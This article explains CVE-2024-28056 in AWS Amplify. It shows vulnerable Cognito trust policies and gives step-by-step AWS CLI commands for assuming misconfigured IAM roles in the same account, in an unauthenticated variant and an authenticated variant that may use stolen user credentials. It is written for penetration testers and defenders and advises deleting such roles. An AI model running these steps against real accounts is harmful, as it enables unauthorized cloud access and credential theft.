Article by Nick Frichette
CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios
-
Original Research
-
Additional Resources
Background¶
In April of 2024, Security Researchers at Datadog found a vulnerability in the AWS Amplify service that exposed IAM roles associated with the service to takeover. In particular, under two different scenarios the Amplify service was setting the role trust policies of certain roles to improperly limit which Cognito identity pool could assume them. As a result, anyone could create their own identity pool (or find one on the internet) and use it to assume these vulnerable roles.
In response to this, AWS made a number of changes to IAM and the AWS Security Token Service (STS) APIs. In particular, this involved:
- Releasing a fix to the Amplify CLI and Amplify Studio preventing the creation of more vulnerable roles.
- Made changes to the IAM control plane to prevent anyone from creating role trust policies vulnerable to this misconfiguration. If you try to set a vulnerable policy today it will be rejected.
- Made changes to the STS service to block cross-account role assumption of roles that have a vulnerable trust relationship with the Amazon Cognito service.
This final fix is interestingly specific. AWS only made changes to block cross-account role assumption, not same-account role assumption. As a result of this, we can still potentially take advantage of roles that were made vulnerable by the Amplify service. This requires an identity pool to be configured in the victim account with the basic (classic) authflow enabled.
Warning
To be clear, this method is more difficult and requires the existence of at least one additional misconfigured resource, however it is worthwhile to know about if you are a Penetration Tester or Red Teamer, or you simply use Amplify in your own organization.
Note
This is not realistically something that can be "fixed". AWS was able to block cross-account role assumption because it was a sufficiently rare occurrence. By comparison, same-account role assumption using Cognito is (as of today) the only method available. If you have IAM roles in your account which are vulnerable to this exposure it is recommended to delete them, or change their trust policy in addition to relying on the fixes that AWS provided.
Unauthenticated Example¶
In this scenario, there exists a vulnerable role in the account, alongside an identity pool that has the basic authflow enabled. This role's trust policy does not require authentication to assume. Here is an example of a vulnerable trust policy:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity"
}
]
}
Note
There is another variant of this misconfiguration where the trust policy includes a condition for cognito-identity.amazonaws.com:amr
that is set to unauthenticated
.
Steps to Exploit¶
In order to assume a role that has this vulnerable trust policy, follow these steps:
- Using the AWS CLI, perform the following command:
aws cognito-identity get-id --identity-pool-id <victim identity pool id>
- This can typically be found in the client side JavaScript of the web application using this identity pool.
- Using the
IdentityId
from step one, perform the following command:aws cognito-identity get-open-id-token --identity-id <identity id from step 1>
- This will return a JWT we can use to authenticate to the vulnerable role. You can inspect this JWT if you so choose.
- With this JWT, perform the following command:
aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 2>
- The vulnerable role ARN will need to be brute-forced, derived from other values, found in source control, or a variety of other means.
By following these steps you should successfully generate IAM credentials for the vulnerable role:
{
"Credentials": {
"AccessKeyId": "ASIA123ABC456DEF789G",
"SecretAccessKey": "123ABC456DEF789G123ABC456DEF789GHI012JKL",
"SessionToken": "...snip...",
"Expiration": "2024-07-31T20:02:33+00:00"
},
"SubjectFromWebIdentityToken": "us-east-1:00000000-1111-2222-3333-444444444444",
"AssumedRoleUser": {
"AssumedRoleId": "AROA123ABC456DEF789G:hijacked_role",
"Arn": "arn:aws:sts::111111111111:assumed-role/vulnerable-amplify-role/hijacked_role"
},
"Provider": "cognito-identity.amazonaws.com",
"Audience": "us-east-1:aaaaaaaa-1111-bbbb-2222-cccccccccccc"
}
Authenticated Example¶
In an authenticated scenario, the identity pool in the victim account must be configured to support authentication with a Cognito user pool. An example vulnerable role trust policy can be found below:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"Federated": "cognito-identity.amazonaws.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"ForAnyValue:StringLike": {
"cognito-identity.amazonaws.com:amr": "authenticated"
}
}
}
]
}
Steps to Exploit¶
In order to assume a role that has this vulnerable trust policy, follow these steps:
- First, find credentials for a user account in the pool. If you cannot steal or create credentials you cannot continue.
- Authenticate to the user pool using cognito-idp:InitiateAuth. The specific command you will need to use will differ depending on the type of authentication in place. Please refer to the documentation for more information. Here we will demonstrate using
USER_PASSWORD_AUTH
.- Run the following command:
aws cognito-idp initiate-auth --auth-flow USER_PASSWORD_AUTH --client-id <client id of the victim user pool> --auth-parameters USERNAME=<username>,PASSWORD=<password>
- This will return an
IdToken
that will be used in the next step. - Note: The
AccessToken
is NOT the same as theIdToken
.
- Run the following command:
- Run the following command:
aws cognito-identity get-id --identity-pool-id <victim identity pool id> --logins '{"cognito-idp.<region>.amazonaws.com/<victim user pool id>":"<IdToken from step 2>"}'
- This will return an
IdentityId
that will be used in the next step.
- This will return an
- Run the following command:
aws cognito-identity get-open-id-token --identity-id <IdToken from step 3> --logins '{"cognito-idp.us-east-1.amazonaws.com/<victim user pool id>":"<IdToken from step 2>"}'
- Note: You MUST include the
logins
parameter, it is not optional. - This will return a JWT we will use in the next step.
- Note: You MUST include the
- With this JWT, perform the following command:
aws sts assume-role-with-web-identity --role-arn <vulnerable role ARN> --role-session-name <session name of your choosing> --web-identity-token <JWT from step 4>
By following these steps you should successfully generate IAM credentials for the vulnerable role.